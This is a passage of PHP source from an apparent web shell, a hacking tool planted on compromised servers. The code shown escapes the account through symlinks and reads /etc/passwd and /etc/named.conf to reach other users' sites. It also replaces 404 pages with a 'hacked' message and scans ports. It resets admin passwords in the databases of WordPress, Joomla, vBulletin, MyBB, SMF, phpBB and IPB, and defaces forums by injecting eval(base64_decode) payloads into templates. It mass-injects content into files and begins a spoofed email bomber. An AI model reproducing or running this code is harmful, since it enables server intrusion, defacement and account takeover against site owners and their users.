1478 mkdir($hardstyle[$a]);
1479 chdir($hardstyle[$a]);
1480 $as++;
1481 }
1482 }
1483 $as++;
1484 while($as--)
1485 chdir("..");
1486
1487 @rmdir("fakesymlink");
1488 @unlink("fakesymlink");
1489
1490 @symlink(str_repeat($fakedir."/",$fakedep),"fakesymlink");
1491
1492 while(1)
1493 if(true==(@symlink("fakesymlink/".str_repeat("../",$fakedep-1).$file, "symlink".$num))) break;
1494 else $num++;
1495
1496 @unlink("fakesymlink");
1497 mkdir("fakesymlink");
1498
1499 echo '<CENTER>check symlink <a href="./symlink'.$num.'">symlink'.$num.'</a> file</CENTER>';
1500 }
1501 else
1502 echo '<CENTER>Cannot Create Symlink</CENTER>';
1503}
1504else if(isset($_REQUEST['404new']))
1505{
1506 ?>
1507 <form>
1508 <center><textarea name=message cols=100 rows=18 class=box>lol! You just got hacked</textarea></br>
1509 <input type="button" onClick="my404page(message.value)" value=" Save " class=but></center>
1510 </br>
1511 </form>
1512 <?php
1513}
1514else if(isset($_REQUEST['404page']))
1515{
1516 $url = $_SERVER['REQUEST_URI'];
1517 $path=explode('/',$url);
1518 $url =str_replace($path[count($path)-1],'',$url);
1519 if(isset($_POST['message']))
1520 {
1521 if($myfile = fopen(".htaccess", "a"))
1522 {
1523 fwrite($myfile, "ErrorDocument 404 ".$url."404.html \n\r");
1524 if($myfilee = fopen("404.html", "w+"))
1525 {
1526 fwrite($myfilee, $_POST['message']);
1527 }
1528 echo "<center><font class=txt>Done setting 404 Page !!!!</font></center>";
1529 }
1530 else
1531 echo "<center>Cannot Set 404 Page</center>";
1532 }
1533 else if(strlen($ind) != 0)
1534 {
1535 if($myfile = fopen(".htaccess", "a"))
1536 {
1537 fwrite($myfile, "ErrorDocument 404 ".$url."404.html \n\r");
1538
1539 if($myfilee = fopen("404.html", "w+"))
1540 {
1541 fwrite($myfilee, base64_decode($ind));
1542
1543 fclose($myfilee);
1544 echo "<center><font class=txt>Done setting 404 Page !!!!</font></center>";
1545 }
1546 fclose($myfile);
1547 }
1548 else
1549 {
1550 echo "<center>Cannot Set 404 Page</center>";
1551 }
1552 }
1553 else
1554 echo "<center>Nothing Specified in the shell</center>";
1555}
1556else if(isset($_GET["domains"]))
1557{
1558 ?><center><iframe src="<?php echo 'http://sameip.org/ip/' . getenv('SERVER_ADDR'); ?>" width="80%" height="1000px"></iframe></center><?php
1559}
1560else if(isset($_GET["symlink"]))
1561{
1562 $d0mains = @file("/etc/named.conf");
1563 $url = 'http://'.$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
1564 $path=explode('/',$url);
1565 $url =str_replace($path[count($path)-1],'',$url);
1566 if($d0mains)
1567 {
1568 @mkdir("dhanush",0777);
1569 @chdir("dhanush");
1570 execmd("ln -s / root");
1571 $file3 = 'Options all
1572 DirectoryIndex Sux.html
1573 AddType text/plain .php
1574 AddHandler server-parsed .php
1575 AddType text/plain .html
1576 AddHandler txt .html
1577 Require None
1578 Satisfy Any
1579 ';
1580 $fp3 = fopen('.htaccess','w');
1581 $fw3 = fwrite($fp3,$file3);
1582 @fclose($fp3);
1583 echo "<table align=center border=1 style='width:60%;border-color:#333333;'><tr align =center><td align=center><font size=3 >S. No.</font></td><td align=center><font size=3 >Domains</font></td><td align=center><font size=3 >Users</font></td><td align=center><font size=3 >Symlink</font></td><td align=center><font size=3 >Information</font></td></tr>";
1584
1585 $dcount = 1;
1586 foreach($d0mains as $d0main)
1587 {
1588 if(eregi("zone",$d0main))
1589 {
1590 preg_match_all('#zone "(.*)"#', $d0main, $domains);
1591 flush();
1592
1593 if(strlen(trim($domains[1][0])) > 2)
1594 {
1595 $user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
1596
1597 echo "<tr align=center><td><font class=txt>" . $dcount . "</font></td><td align=left><a href=http://www.".$domains[1][0]."/><font class=txt>".$domains[1][0]."</font></a></td><td><font class=txt>".$user['name']."</font></td><td><a href=".$url."dhanush/root/home/".$user['name']."/public_html target='_blank'><font class=txt>Symlink</font></a></td><td><font class=txt><a href=?info=".$domains[1][0]." target=_blank>info</a></font></td></tr>"; flush();
1598 $dcount++;
1599 }
1600 }
1601
1602 }
1603 echo "</table>";
1604 }
1605 else
1606 {
1607 if(stristr(php_uname(),"Linux"))
1608 {
1609 ?>
1610 <div style="float:left;position:fixed;">
1611 <form>
1612 <table cellpadding="9">
1613 <tr>
1614 <th colspan="2">Get User Name</th>
1615 </tr>
1616 <tr>
1617 <td>Enter Website Name :</td>
1618 <td><input type="text" name="sitename" value="sitename.com" class="sbox"></td>
1619 </tr>
1620 <tr>
1621 <td align="center" colspan="2"><input type="button" onClick="getname(sitename.value)" value=" Get IT " class="but"></td>
1622 </tr>
1623 <tr>
1624 <td colspan=2 align=center><div style="width:250px;" id="showsite"></div></td>
1625 </tr>
1626 </table>
1627 </form>
1628 </div>
1629 <?php
1630 $TEST=@file('/etc/passwd');
1631 if ($TEST)
1632 {
1633 @mkdir("dhanush",0777);
1634 @chdir("dhanush");
1635 execmd("ln -s / root");
1636 $file3 = 'Options all
1637 DirectoryIndex Sux.html
1638 AddType text/plain .php
1639 AddHandler server-parsed .php
1640 AddType text/plain .html
1641 AddHandler txt .html
1642 Require None
1643 Satisfy Any
1644 ';
1645 $fp3 = fopen('.htaccess','w');
1646 $fw3 = fwrite($fp3,$file3);
1647 @fclose($fp3);
1648
1649 echo "<table align=center border=1 style='width:40%;border-color:#333333;'><tr><td align=center><font size=4 >S. No.</font></td><td align=center><font size=4 >Users</font></td><td align=center><font size=3 >Symlink</font></td></tr>";
1650
1651 $dcount = 1;
1652 $file = fopen("/etc/passwd", "r");
1653 //Output a line of the file until the end is reached
1654 while(!feof($file))
1655 {
1656 $s = fgets($file);
1657 $matches = array();
1658 $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
1659 $matches = str_replace("home/","",$matches[1]);
1660 if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
1661 continue;
1662 echo "<tr><td align=center><font size=3 class=txt>" . $dcount . "</td><td align=center><font size=3 class=txt>" . $matches . "</td>";
1663 echo "<td align=center><font size=3 class=txt><a href=".$url."dhanush/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
1664 $dcount++;
1665 }
1666 fclose($file);
1667
1668 echo "</table>";
1669 }
1670 else
1671 {
1672 @mkdir("dhanush",0777);
1673 @chdir("dhanush");
1674 execmd("ln -s / root");
1675 $file3 = 'Options all
1676 DirectoryIndex Sux.html
1677 AddType text/plain .php
1678 AddHandler server-parsed .php
1679 AddType text/plain .html
1680 AddHandler txt .html
1681 Require None
1682 Satisfy Any
1683 ';
1684 $fp3 = fopen('.htaccess','w');
1685 $fw3 = fwrite($fp3,$file3);
1686 @fclose($fp3);
1687
1688 echo "<table align=center border=1 style='width:40%;border-color:#333333;'><tr><td align=center><font size=4 >S. No.</font></td><td align=center><font size=4 >Users</font></td><td align=center><font size=3 >Symlink</font></td></tr>";
1689
1690 $temp = "";
1691 $val1 = 0;
1692 $val2 = 1000;
1693 for(;$val1 <= $val2;$val1++)
1694 {
1695 $uid = @posix_getpwuid($val1);
1696 if ($uid)
1697 $temp .= join(':',$uid)."\n";
1698 }
1699 echo '<br/>';
1700 $temp = trim($temp);
1701
1702 $file5 = fopen("test.txt","w");
1703 fputs($file5,$temp);
1704 fclose($file5);
1705
1706 $dcount = 1;
1707 $file = fopen("test.txt", "r");
1708 while(!feof($file))
1709 {
1710 $s = fgets($file);
1711 $matches = array();
1712 $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
1713 $matches = str_replace("home/","",$matches[1]);
1714 if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
1715 continue;
1716 echo "<tr><td align=center><font size=3 class=txt>" . $dcount . "</td><td align=center><font size=3 class=txt>" . $matches . "</td>";
1717 echo "<td align=center><font size=3 class=txt><a href=".$url."dhanush/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
1718 $dcount++;
1719 }
1720 fclose($file);
1721 echo "</table>";
1722 unlink("test.txt");
1723 }
1724 }
1725 else
1726 echo "<center><font size=4 >Cannot create Symlink</font></center>";
1727 }
1728}
1729else if(isset($_GET['host']) && isset($_GET['protocol']))
1730{
1731 echo "Open Ports: ";
1732 $host = $_GET['host'];
1733 $proto = $_GET['protocol'];
1734 $myports = array("21","22","23","25","59","80","113","135","445","1025","5000","5900","6660","6661","6662","6663","6665","6666","6667","6668","6669","7000","8080","8018");
1735 for($current = 0; $current <= 23; $current++)
1736 {
1737 $currents = $myports[$current];
1738 $service = getservbyport($currents, $proto);
1739 // Try to connect to port
1740 $result = fsockopen($host, $currents, $errno, $errstr, 1);
1741 // Show results
1742 if($result)
1743 echo "<font class=txt>$currents, </font>";
1744 }
1745}
1746else if(isset($_REQUEST['forumpass']))
1747{
1748 $localhost = $_GET['f1'];
1749 $database = $_GET['f2'];
1750 $username = $_GET['f3'];
1751 $password = $_GET['f4'];
1752 $prefix = $_GET['prefix'];
1753 $newpass = $_GET['newpass'];
1754 $uid = $_GET['uid'];
1755
1756 if($_GET['forums'] == "vb")
1757 {
1758 $newpass = $_GET['newipbpass'];
1759 $uid = $_GET['ipbuid'];
1760 $con = mysql_connect($localhost,$username,$password);
1761 $db = mysql_select_db($database,$con);
1762 $salt = "eghjghrtd";
1763 $newpassword = md5(md5($newpass) . $salt);
1764 if($prefix == "" || $prefix == null)
1765 $sql = mysql_query("update user set password = '$newpassword', salt = '$salt' where userid = '$uid'");
1766 else
1767 $sql = mysql_query("update ".$prefix."user set password = '$newpassword', salt = '$salt' where userid = '$uid'");
1768 if($sql)
1769 {
1770 mysql_close($con);
1771 echo "<font class=txt>Password Changed Successfully</font>";
1772 }
1773 else
1774 echo "Cannot Change Password";
1775 }
1776 else if($_GET['forums'] == "mybb")
1777 {
1778 $newpass = $_GET['newipbpass'];
1779 $uid = $_GET['ipbuid'];
1780 $con = mysql_connect($localhost,$username,$password);
1781 $db = mysql_select_db($database,$con);
1782 $salt = "jeghj";
1783 $newpassword = md5(md5($salt).md5($newpass));
1784 if($prefix == "" || $prefix == null)
1785 $sql = mysql_query("update mybb_users set password = '$newpassword', salt = '$salt' where uid = '$uid'");
1786 else
1787 $sql = mysql_query("update ".$prefix."users set password = '$newpassword', salt = '$salt' where uid = '$uid'");
1788 if($sql)
1789 {
1790 mysql_close($con);
1791 echo "<font class=txt>Password Changed Successfully</font>";
1792 }
1793 else
1794 echo "Cannot Change Password";
1795 }
1796 else if($_GET['forums'] == "smf")
1797 {
1798 $newpass = $_GET['newipbpass'];
1799 $uid = $_GET['ipbuid'];
1800 $con = mysql_connect($localhost,$username,$password);
1801 $db = mysql_select_db($database,$con);
1802
1803 if($prefix == "" || $prefix == null)
1804 {
1805 $result = mysql_query("select member_name from smf_members where id_member = $uid");
1806 $row = mysql_fetch_array($result);
1807 $membername = $row['member_name'];
1808 $newpassword = sha1(strtolower($membername).$newpass);
1809 $sql = mysql_query("update smf_members set passwd = '$newpassword' where id_member = '$uid'");
1810 }
1811 else
1812
1813 {
1814 $result = mysql_query("select member_name from ".$prefix."members where id_member = $uid");
1815 $row = mysql_fetch_array($result);
1816 $membername = $row['member_name'];
1817 $newpassword = sha1(strtolower($membername).$newpass);
1818 $sql = mysql_query("update ".$prefix."members set passwd = '$newpassword' where id_member = '$uid'");
1819 }
1820 if($sql)
1821 {
1822 mysql_close($con);
1823 echo "<font class=txt>Password Changed Successfully</font>";
1824 }
1825 else
1826 echo "Cannot Change Password";
1827 }
1828 else if($_GET['forums'] == "phpbb")
1829 {
1830 $newpass = $_POST['newipbpass'];
1831 $uid = $_POST['ipbuid'];
1832 $con = mysql_connect($localhost,$username,$password);
1833 $db = mysql_select_db($database,$con);
1834
1835 $newpassword = md5($newpass);
1836 if(empty($prefix) || $prefix == null)
1837 $sql = mysql_query("update phpb_users set user_password = '$newpassword' where user_id = '$uid'");
1838 else
1839 $sql = mysql_query("update ".$prefix."users set user_password = '$newpassword' where user_id = '$uid'");
1840 if($sql)
1841 {
1842 mysql_close($con);
1843 echo "<font class=txt>Password Changed Successfully</font>";
1844 }
1845 else
1846 echo "Cannot Change Password";
1847 }
1848 else if($_GET['forums'] == "ipb")
1849 {
1850 $newpass = $_POST['newipbpass'];
1851 $uid = $_POST['ipbuid'];
1852 $con = mysql_connect($localhost,$username,$password);
1853 $db = mysql_select_db($database,$con);
1854 $salt = "eghj";
1855 $newpassword = md5(md5($salt).md5($newpass));
1856 if($prefix == "" || $prefix == null)
1857 $sql = mysql_query("update members set members_pass_hash = '$newpassword', members_pass_salt = '$salt' where member_id = '$uid'");
1858 else
1859 $sql = mysql_query("update ".$prefix."members set members_pass_hash = '$newpassword', members_pass_salt = '$salt' where member_id = '$uid'");
1860 if($sql)
1861 {
1862 mysql_close($con);
1863 echo "<font class=txt>Password Changed Successfully</font>";
1864 }
1865 else
1866 echo "Cannot Change Password";
1867 }
1868 else if($_GET['forums'] == "wp")
1869 {
1870 $uname = $_GET['uname'];
1871 $con = mysql_connect($localhost,$username,$password);
1872 $db = mysql_select_db($database,$con);
1873
1874 $newpassword = md5($newpass);
1875 if($prefix == "" || $prefix == null)
1876 $sql = mysql_query("update wp_users set user_pass = '$newpassword', user_login = '$uname' where ID = '$uid'");
1877 else
1878 $sql = mysql_query("update ".$prefix."users set user_pass = '$newpassword', user_login = '$uname' where ID = '$uid'");
1879 if($sql)
1880 {
1881 mysql_close($con);
1882 echo "<font class=txt>Password Changed Successfully</font>";
1883 }
1884 else
1885 echo "Cannot Change Password";
1886 }
1887 else if($_GET['forums'] == "joomla")
1888 {
1889 $newjoomlapass = $_GET['newjoomlapass'];
1890 $joomlauname = $_GET['username'];
1891 $con = mysql_connect($localhost,$username,$password);
1892 $db = mysql_select_db($database,$con);
1893
1894 $newpassword = md5($newjoomlapass);
1895 if($prefix == "" || $prefix == null)
1896 $sql = mysql_query("update jos_users set password = '$newpassword', username = '$joomlauname' where name = 'Super User'");
1897 else
1898 $sql = mysql_query("update ".$prefix."users set password = '$newpassword', username = '$joomlauname' where name = 'Super User' OR name = 'Administrator'");
1899 if($sql)
1900 {
1901 mysql_close($con);
1902 echo "<font class=txt>Password Changed Successfully</font>";
1903 }
1904 else
1905 echo "Cannot Change Password";
1906 }
1907}
1908else if(isset($_POST['forumdeface']))
1909{
1910 $localhost = $_POST['f1'];
1911 $database = $_POST['f2'];
1912 $username = $_POST['f3'];
1913 $password = $_POST['f4'];
1914 $index = $_POST['index'];
1915 $prefix = $_POST['tableprefix'];
1916
1917 if($_POST['forumdeface'] == "vb")
1918 {
1919 $con =@ mysql_connect($localhost,$username,$password);
1920 $db =@ mysql_select_db($database,$con);
1921 $index=str_replace('"','\\"',$index);
1922 $attack = "{\${eval(base64_decode(\'";
1923 $attack .= base64_encode("echo \"$index\";");
1924 $attack .= "\'))}}{\${exit()}}</textarea>";
1925 if($prefix == "" || $prefix == null)
1926 $query = "UPDATE template SET template = '$attack'";
1927 else
1928 $query = "UPDATE ".$prefix."template SET template = '$attack'";
1929 $result =@ mysql_query($query,$con);
1930 if($result)
1931 echo "<center><font class=txt size=4><blink>Vbulletin Forum Defaced Successfully</blink></font></center>";
1932 else
1933 echo "<center><font size=4><blink>Cannot Deface Vbulletin Forum</blink></font></center>";
1934 }
1935 else if($_POST['forumdeface'] == "mybb")
1936 {
1937 $con =@ mysql_connect($localhost,$username,$password);
1938 $db =@ mysql_select_db($database,$con);
1939 $attack = "{\${eval(base64_decode(\'";
1940 $attack .= base64_encode("echo \"$index\";");
1941 $attack .= "\'))}}{\${exit()}}</textarea>";
1942 $attack = str_replace('"',"\\'",$attack);
1943
1944 if($prefix == "" || $prefix == null)
1945 $query = "UPDATE mybb_templates SET template = '$attack'";
1946 else
1947 $query = "UPDATE ".$prefix."templates SET template = '$attack'";
1948 $result =@ mysql_query($query,$con);
1949 if($result)
1950 echo "<center><font class=txt size=4><blink>Mybb Forum Defaced Successfully</blink></font></center>";
1951 else
1952 echo "<center><font size=4><blink>Cannot Deface Mybb Forum</blink></font></center>";
1953 }
1954 else if($_POST['forumdeface'] == "smf")
1955 {
1956 $head = $_POST['head'];
1957 $catid = $_POST['f5'];
1958
1959 $con =@ mysql_connect($localhost,$username,$password);
1960 $db =@ mysql_select_db($database,$con);
1961 if($prefix == "" || $prefix == null)
1962 $query = "UPDATE boards SET name='$head', description='$index' WHERE id_cat='$catid'";
1963 else
1964 $query = "UPDATE ".$prefix."boards SET name='$head', description='$index' WHERE id_cat='$catid'";
1965 $result =@ mysql_query($query,$con);
1966 if($result)
1967 echo "<center><font class=txt size=4><blink>SMF Forum Index Changed Successfully</blink></font></center>";
1968 else
1969 echo "<center><font size=4><blink>Cannot Deface SMF Forum</blink></font></center>";
1970 }
1971 else if($_POST['forumdeface'] == "ipb")
1972 {
1973 $head = $_POST['head'];
1974 $catid = $_POST['f5'];
1975
1976 $IPB = "forums";
1977 $con =@ mysql_connect($localhost,$username,$password);
1978 $db =@ mysql_select_db($database,$con);
1979 if($prefix == "" || $prefix == null)
1980 $result =@mysql_query($query = "UPDATE $IPB SET name = '$head', description = '$index' where id = '$catid'");
1981 else
1982 $result =@mysql_query($query = "UPDATE $prefix.$IPB SET name = '$head', description = '$index' where id = '$catid'");
1983 if($result)
1984 echo "<center><font class=txt size=4><blink>Forum Defaced Successfully</blink></font></center>";
1985 else
1986 echo "<center><font size=4><blink>Cannot Deface Forum</blink></font></center>";
1987 }
1988 else if($_POST['forumdeface'] == "wp")
1989 {
1990 $catid = $_POST['f5'];
1991 $head = $_POST['head'];
1992
1993 $con =@ mysql_connect($localhost,$username,$password);
1994 $db =@ mysql_select_db($database,$con);
1995 if($prefix == "" || $prefix == null)
1996 {
1997 if(isset($_POST["alll"]) && $_POST["alll"] == "All")
1998 $query = "UPDATE wp_posts SET post_title='$head', post_content='$index'";
1999 else
2000 $query = "UPDATE wp_posts SET post_title='$head', post_content='$index' WHERE ID='$catid'";
2001 }
2002 else
2003 {
2004 if(isset($_POST["alll"]) && $_POST["alll"] == "All")
2005 $query = "UPDATE ".$prefix."posts SET post_title='$head', post_content='$index'";
2006 else
2007 $query = "UPDATE ".$prefix."posts SET post_title='$head', post_content='$index' WHERE ID='$catid'";
2008
2009 }
2010 $result =@mysql_query($query,$con) or mysql_error();
2011 if($result)
2012 echo "<center><font class=txt size=4><blink>Wordpress Defaced Successfully</blink></font></center>";
2013 else
2014 echo "<center><font size=4><blink>Cannot Deface Wordpress</blink></font></center>";
2015 }
2016 else if($_POST['forumdeface'] == "joomla")
2017 {
2018 $site_url = $_POST['siteurl'];
2019 $dbprefix = $_POST['tableprefix'];
2020 $dbname = $_POST['f2'];
2021 $h="<? echo(stripslashes(base64_decode('".urlencode(base64_encode(str_replace("'","'",($_POST['index']))))."'))); exit; ?>";
2022
2023 function randomt()
2024 {
2025 $chars = "abcdefghijkmnopqrstuvwxyz023456789";
2026 srand((double)microtime()*1000000);
2027 $i = 0;
2028 $pass = '' ;
2029
2030 while ($i <= 7)
2031 {
2032 $num = rand() % 33;
2033 $tmp = substr($chars, $num, 1);
2034 $pass = $pass . $tmp;
2035 $i++;
2036 }
2037
2038 return $pass;
2039 }
2040 function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1)
2041 {
2042 $ar0=explode($marqueurDebutLien, $text);
2043 $ar1=explode($marqueurFinLien, $ar0[$i]);
2044 $ar=trim($ar1[0]);
2045 return $ar;
2046 }
2047 $co=randomt();
2048
2049 $link=mysql_connect($localhost,$username,$password) ;
2050 mysql_select_db($dbname,$link);
2051
2052 $tryChaningInfo = mysql_query("UPDATE ".$dbprefix."users SET username ='admin' , password = '2a9336f7666f9f474b7a8f67b48de527:DiWqRBR1thTQa2SvBsDqsUENrKOmZtAX'");
2053
2054 $req =mysql_query("SELECT * from `".$dbprefix."extensions` ");
2055
2056 if ( $req )
2057 {
2058 $req =mysql_query("SELECT * from `".$dbprefix."template_styles` WHERE client_id='0' and home='1'");
2059 $data = mysql_fetch_array($req);
2060 $template_name=$data["template"];
2061
2062 $req =mysql_query("SELECT * from `".$dbprefix."extensions` WHERE name='".$template_name."'");
2063 $data = mysql_fetch_array($req);
2064 $template_id=$data["extension_id"];
2065
2066 $url2=$site_url."/index.php";
2067
2068 $ch = curl_init();
2069 curl_setopt($ch, CURLOPT_URL, $url2);
2070 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
2071 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
2072 curl_setopt($ch, CURLOPT_HEADER, 1);
2073 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
2074 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
2075 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
2076
2077
2078 $buffer = curl_exec($ch);
2079
2080 $return=entre2v2($buffer ,'<input type="hidden" name="return" value="','"');
2081 $hidden=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',4);
2082
2083
2084 $url2=$site_url."/index.php";
2085 $ch = curl_init();
2086 curl_setopt($ch, CURLOPT_URL, $url2);
2087 curl_setopt($ch, CURLOPT_POST, 1);
2088 curl_setopt($ch, CURLOPT_POSTFIELDS,"username=admin&passwd=123456789&option=com_login&task=login&return=".$return."&".$hidden."=1");
2089 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
2090 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
2091 curl_setopt($ch, CURLOPT_HEADER, 0);
2092 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
2093 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
2094 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
2095 $buffer = curl_exec($ch);
2096
2097 $pos = strpos($buffer,"com_config");
2098 if($pos === false)
2099 {
2100 echo("<br>[-] Login Error");
2101 exit;
2102 }
2103
2104 $url2=$site_url."/index.php?option=com_templates&task=source.edit&id=".base64_encode($template_id.":index.php");
2105 $ch = curl_init();
2106 curl_setopt($ch, CURLOPT_URL, $url2);
2107 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
2108 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
2109 curl_setopt($ch, CURLOPT_HEADER, 0);
2110 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
2111 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
2112
2113 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
2114 $buffer = curl_exec($ch);
2115
2116 $hidden2=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',2);
2117 if(!$hidden2)
2118 {
2119 echo("<br>[-] index.php Not found in Theme Editor");
2120 exit;
2121 }
2122
2123 $url2=$site_url."/index.php?option=com_templates&layout=edit";
2124
2125 $ch = curl_init();
2126 curl_setopt($ch, CURLOPT_URL, $url2);
2127 curl_setopt($ch, CURLOPT_POST, 1);
2128 curl_setopt($ch, CURLOPT_POSTFIELDS,"jform[source]=".$h."&jform[filename]=index.php&jform[extension_id]=".$template_id."&".$hidden2."=1&task=source.save");
2129
2130 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
2131 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
2132 curl_setopt($ch, CURLOPT_HEADER, 0);
2133 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
2134 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
2135 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
2136 $buffer = curl_exec($ch);
2137
2138 $pos = strpos($buffer,'<dd class="message message">');
2139 if($pos === false)
2140 {
2141 echo("<center><font size=4><blink>Cannot Deface Joomla</blink></font></center>");
2142 }
2143 else
2144 {
2145 echo("<center><font class=txt size=4><blink>Joomla Defaced Successfully</blink></font></center>");
2146 }
2147 }
2148 else
2149 {
2150 $req =mysql_query("SELECT * from `".$dbprefix."templates_menu` WHERE client_id='0'");
2151 $data = mysql_fetch_array($req);
2152 $template_name=$data["template"];
2153
2154 $url2=$site_url."/index.php";
2155 $ch = curl_init();
2156 curl_setopt($ch, CURLOPT_URL, $url2);
2157 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
2158 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
2159 curl_setopt($ch, CURLOPT_HEADER, 1);
2160 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
2161 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
2162 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
2163 $buffer = curl_exec($ch);
2164
2165 $hidden=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',3);
2166
2167 $url2=$site_url."/index.php";
2168 $ch = curl_init();
2169 curl_setopt($ch, CURLOPT_URL, $url2);
2170 curl_setopt($ch, CURLOPT_POST, 1);
2171 curl_setopt($ch, CURLOPT_POSTFIELDS,"username=admin&passwd=123456789&option=com_login&task=login&".$hidden."=1");
2172 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
2173 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
2174 curl_setopt($ch, CURLOPT_HEADER, 0);
2175 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
2176 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
2177 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
2178 $buffer = curl_exec($ch);
2179
2180 $pos = strpos($buffer,"com_config");
2181
2182 if($pos === false)
2183 {
2184 echo("<br>[-] Login Error");
2185 exit;
2186 }
2187
2188 $url2=$site_url."/index.php?option=com_templates&task=edit_source&client=0&id=".$template_name;
2189 $ch = curl_init();
2190 curl_setopt($ch, CURLOPT_URL, $url2);
2191 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
2192 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
2193 curl_setopt($ch, CURLOPT_HEADER, 0);
2194 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
2195 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
2196 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
2197 $buffer = curl_exec($ch);
2198
2199 $hidden2=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',6);
2200
2201 if(!$hidden2)
2202 {
2203 echo("<br>[-] index.php Not found in Theme Editor");
2204 }
2205
2206 $url2=$site_url."/index.php?option=com_templates&layout=edit";
2207 $ch = curl_init();
2208 curl_setopt($ch, CURLOPT_URL, $url2);
2209 curl_setopt($ch, CURLOPT_POST, 1);
2210 curl_setopt($ch, CURLOPT_POSTFIELDS,"filecontent=".$h."&id=".$template_name."&cid[]=".$template_name."&".$hidden2."=1&task=save_source&client=0");
2211 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
2212 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
2213 curl_setopt($ch, CURLOPT_HEADER, 0);
2214 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
2215 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
2216 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
2217 $buffer = curl_exec($ch);
2218
2219 $pos = strpos($buffer,'<dd class="message message fade">');
2220 if($pos === false)
2221 {
2222 echo("<center><font size=4><blink>Cannot Deface Joomla</blink></font></center>");
2223 exit;
2224 }
2225 else
2226 {
2227 echo("<center><font class=txt size=4><blink>Joomla Defaced Successfully</blink></font></center>");
2228 }
2229 }
2230 }
2231}
2232else if(isset($_POST['pathtomass']) && $_POST['pathtomass'] != '' && isset($_POST['filetype']) && $_POST['filetype'] != '' && isset($_POST['mode']) && $_POST['mode'] != '' && isset($_POST['injectthis']) && $_POST['injectthis'] != '')
2233{
2234 $filetype = $_POST['filetype'];
2235
2236 $mode = "a";
2237
2238 if($_POST['mode'] == 'Apender')
2239 $mode = "a";
2240
2241 if($_POST['mode'] == 'Overwriter')
2242 $mode = "w";
2243
2244 if (is_dir($_POST['pathtomass']))
2245 {
2246 $lolinject = $_POST['injectthis'];
2247 $mypath = $_POST['pathtomass'] .$directorysperator. "*.".$filetype;
2248 if(substr($_POST['pathtomass'], -1) == "\\")
2249 $mypath = $_POST['pathtomass'] . "*.".$filetype;
2250 foreach (glob($mypath) as $injectj00)
2251 {
2252 if($injectj00 == __FILE__)
2253 continue;
2254 $fp=fopen($injectj00,$mode);
2255 if (fputs($fp,$lolinject))
2256 echo '<br><font class=txt size=3>'.$injectj00.' was injected<br></font>';
2257 else
2258 echo 'failed to inject '.$injectj00.'<br>';
2259 }
2260 }
2261 else
2262 echo '<b>'.$_POST['pathtomass'].' is not available!</b>';
2263}
2264else if(isset($_POST['mailfunction']))
2265{
2266 if($_POST['mailfunction'] == "dobombing")
2267 {
2268 if(isset($_POST['to']) && isset($_POST['subject']) && isset($_POST['message']) && isset($_POST['times']) && $_POST['to'] != '' && $_POST['subject'] != '' && $_POST['message'] != '' && $_POST['times'] != '')
2269 {
2270 $times = $_POST['times'];
2271 while($times--)
2272 {
2273 if(isset($_POST['padding']))
2274 {
2275 $fromPadd = rand(0,9999);
2276 $subjectPadd = " -- ID : ".rand(0,9999999);
2277 $messagePadd = "\n\n------------------------------\n".rand(0,99999999);
2278
2279 }
2280 $from = "president$fromPadd@whitehouse.gov";
